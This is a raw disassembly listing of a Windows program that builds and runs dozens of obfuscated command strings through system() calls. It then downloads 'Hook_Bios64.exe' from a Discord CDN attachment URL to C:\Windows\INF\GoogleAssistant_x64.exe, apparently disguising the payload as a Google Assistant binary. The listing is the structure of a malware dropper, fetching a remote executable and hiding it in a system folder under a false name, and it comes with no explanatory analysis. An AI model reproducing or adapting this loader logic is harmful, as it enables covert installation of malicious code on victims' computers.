call fcn.140059e00
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059f10
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a120
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a2a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a420
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a580
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a6e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a7f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a8e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005a9c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005aa80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005ab30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x9000]
lea rcx, [rsp + 0x30]
call fcn.14005ac10
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x3e10]
lea rcx, [rsp + 0x30]
call fcn.14005ad80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1780]
lea rcx, [rsp + 0x30]
call fcn.14005aec0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x11d0]
lea rcx, [rsp + 0x30]
call fcn.14005af80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x2020]
lea rcx, [rsp + 0x30]
call fcn.14005b040
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x23b0]
lea rcx, [rsp + 0x30]
call fcn.14005b110
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x25a0]
lea rcx, [rsp + 0x30]
call fcn.14005b1e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x32b0]
lea rcx, [rsp + 0x30]
call fcn.14005b2c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x2340]
lea rcx, [rsp + 0x30]
call fcn.14005b3d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x17f0]
lea rcx, [rsp + 0x30]
call fcn.14005b4a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1710]
lea rcx, [rsp + 0x30]
call fcn.14005b560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x4270]
lea rcx, [rsp + 0x30]
call fcn.14005b620
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x30]
call fcn.14005b740
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x98f0]
lea rcx, [rsp + 0x30]
call fcn.14005b7a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x550]
lea rcx, [rsp + 0x30]
call fcn.14005b8f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x358]
lea rcx, [rsp + 0x30]
call fcn.14005b970
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x490]
lea rcx, [rsp + 0x30]
call fcn.14005b9e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14005ba60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x450]
lea rcx, [rsp + 0x30]
call fcn.14005bac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xf50]
lea rcx, [rsp + 0x30]
call fcn.14005bb30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xdb0]
lea rcx, [rsp + 0x30]
call fcn.14005bbe0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x6a0]
lea rcx, [rsp + 0x30]
call fcn.14005bca0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xa10]
lea rcx, [rsp + 0x30]
call fcn.14005bd40
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x4810]
lea rcx, [rsp + 0x30]
call fcn.14005be00
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x3f70]
lea rcx, [rsp + 0x30]
call fcn.14005bf40
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x4090]
lea rcx, [rsp + 0x30]
call fcn.14005c050
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x760]
lea rcx, [rsp + 0x30]
call fcn.14005c170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x7c0]
lea rcx, [rsp + 0x30]
call fcn.14005c210
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x700]
lea rcx, [rsp + 0x30]
call fcn.14005c2b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x640]
lea rcx, [rsp + 0x30]
call fcn.14005c350
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x3a90]
lea rcx, [rsp + 0x30]
call fcn.14005c400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x3340]
lea rcx, [rsp + 0x30]
call fcn.14005c4f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x4130]
lea rcx, [rsp + 0x30]
call fcn.14005c600
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x30]
call fcn.14005c720
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1240]
lea rcx, [rsp + 0x30]
call fcn.14005c780
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xe80]
lea rcx, [rsp + 0x30]
call fcn.14005c840
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x8f50]
lea rcx, [rsp + 0x30]
call fcn.14005c8f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x4310]
lea rcx, [rsp + 0x30]
call fcn.14005ca50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x43b0]
lea rcx, [rsp + 0x30]
call fcn.14005cb70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1ea0]
lea rcx, [rsp + 0x30]
call fcn.14005cc90
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x4d0]
lea rcx, [rsp + 0x30]
call fcn.14005cd70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x8030]
lea rcx, [rsp + 0x30]
call fcn.14005cdf0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x7f70]
lea rcx, [rsp + 0x30]
call fcn.14005cf60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1860]
lea rcx, [rsp + 0x30]
call fcn.14005d0d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x2920]
lea rcx, [rsp + 0x30]
call fcn.14005d190
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x29a0]
lea rcx, [rsp + 0x30]
call fcn.14005d270
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1ba0]
lea rcx, [rsp + 0x30]
call fcn.14005d340
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x5e0]
lea rcx, [rsp + 0x30]
call fcn.14005d420
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x320]
lea rcx, [rsp + 0x30]
call fcn.14005d4d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x2e8]
lea rcx, [rsp + 0x30]
call fcn.14005d540
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x1e20]
lea rcx, [rsp + 0x30]
call fcn.14005d340
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x8ea0]
lea rcx, [rsp + 0x30]
call fcn.140059200
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x87b0]
lea rcx, [rsp + 0x30]
call fcn.14005d5b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x86f0]
lea rcx, [rsp + 0x30]
call fcn.14005d720
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xe960]
lea rcx, [rsp + 0x30]
call fcn.14005d890
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x7970]
lea rcx, [rsp + 0x30]
call fcn.14005da50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x7eb0]
lea rcx, [rsp + 0x30]
call fcn.14005dbe0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x8630]
lea rcx, [rsp + 0x30]
call fcn.14005dd50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x8570]
lea rcx, [rsp + 0x30]
call fcn.14005ded0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x28a0]
lea rcx, [rsp + 0x30]
call fcn.14005e040
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x2820]
lea rcx, [rsp + 0x30]
call fcn.14005e130
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x27a0]
lea rcx, [rsp + 0x30]
call fcn.14005e210
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x8df0]
lea rcx, [rsp + 0x30]
call fcn.14005e2f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xe610]
lea rcx, [rsp + 0x30]
call fcn.14005e450
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x78b0]
lea rcx, [rsp + 0x30]
call fcn.14005e600
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0xeb20]
lea rcx, [rsp + 0x30]
call fcn.14005e790
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.C:Windows
lea rcx, [rbp + 0xef90]
call fcn.14004ec00
nop
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x30]
call fcn.14005e960
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8d40]
lea rcx, [rsp + 0x30]
call fcn.14005e9f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3b10]
lea rcx, [rsp + 0x30]
call fcn.14005eb50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2d10]
lea rcx, [rsp + 0x30]
call fcn.14005ec40
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4450]
lea rcx, [rsp + 0x30]
call fcn.14005ed30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xd40]
lea rcx, [rsp + 0x30]
call fcn.14005ee50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1b20]
lea rcx, [rsp + 0x30]
call fcn.14005ef10
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xfb0]
lea rcx, [rsp + 0x30]
call fcn.14005eff0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc10]
lea rcx, [rsp + 0x30]
call fcn.14005f0a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2720]
lea rcx, [rsp + 0x30]
call fcn.14005f150
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x48b0]
lea rcx, [rsp + 0x30]
call fcn.14005f240
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4950]
lea rcx, [rsp + 0x30]
call fcn.14005f370
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7df0]
lea rcx, [rsp + 0x30]
call fcn.14005f4b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x33d0]
lea rcx, [rsp + 0x30]
call fcn.14005f630
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3460]
lea rcx, [rsp + 0x30]
call fcn.14005f740
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x34f0]
lea rcx, [rsp + 0x30]
call fcn.14005f850
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7bb0]
lea rcx, [rsp + 0x30]
call fcn.14005f960
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.INF_
lea rcx, [rbp + 0xef70]
call fcn.14004ec00
nop
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7af0]
lea rcx, [rsp + 0x30]
call fcn.14005fae0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0xef70]
lea rdx, [rbp + 0xef90]
lea rcx, [rbp + 0xef50]
call fcn.14004f450
nop
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x84b0]
lea rcx, [rsp + 0x30]
call fcn.14005fc60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14011fd88]
lea rcx, [rbp + 0xef30]
call fcn.14004ec00
nop
lea rdx, [0x14011fd90]
lea rcx, [rbp + 0xee30]
call fcn.14004ec00
nop
lea rdx, [0x14011fd5c]
lea rcx, [rbp + 0xef10]
call fcn.14004ec00
nop
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x83f0]
lea rcx, [rsp + 0x30]
call fcn.14005fde0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.GoogleAssistant_x64
lea rcx, [rbp + 0xee90]
call fcn.14004ec00
nop
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3580]
lea rcx, [rsp + 0x30]
call fcn.14005ff60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x26a0]
lea rcx, [rsp + 0x30]
call fcn.140060070
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1f20]
lea rcx, [rsp + 0x30]
call fcn.140060150
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x18d0]
lea rcx, [rsp + 0x30]
call fcn.140060220
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xce0]
lea rcx, [rsp + 0x30]
call fcn.1400602e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1aa0]
lea rcx, [rsp + 0x30]
call fcn.140060390
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8c90]
lea rcx, [rsp + 0x30]
call fcn.140060470
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0xee30]
lea rdx, [rbp + 0xef30]
lea rcx, [rbp + 0x50]
call fcn.14004f450
nop
lea r8, [rbp + 0xef10]
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.14004f3f0
nop
lea r8, [rbp + 0xee30]
mov rdx, rax
lea rcx, [rbp + 0xefb0]
call fcn.14004f3f0
nop
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0x50]
call fcn.14004ebf0
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x99a0]
lea rcx, [rsp + 0x30]
call fcn.1400605d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0xefb0]
lea rdx, [rbp + 0xee90]
lea rcx, [rbp + 0xeef0]
call fcn.14004f450
nop
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.C:WindowsINFGoogleAssistant_x64.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_932378363832729623_940408579574358056_Hook_Bios64.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1940]
lea rcx, [rsp + 0x30]
call fcn.140060730
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x22d0]
lea rcx, [rsp + 0x30]
call fcn.1400607f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1da0]
lea rcx, [rsp + 0x30]
call fcn.1400608c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3610]
lea rcx, [rsp + 0x30]
call fcn.140060990
mov rcx, rax
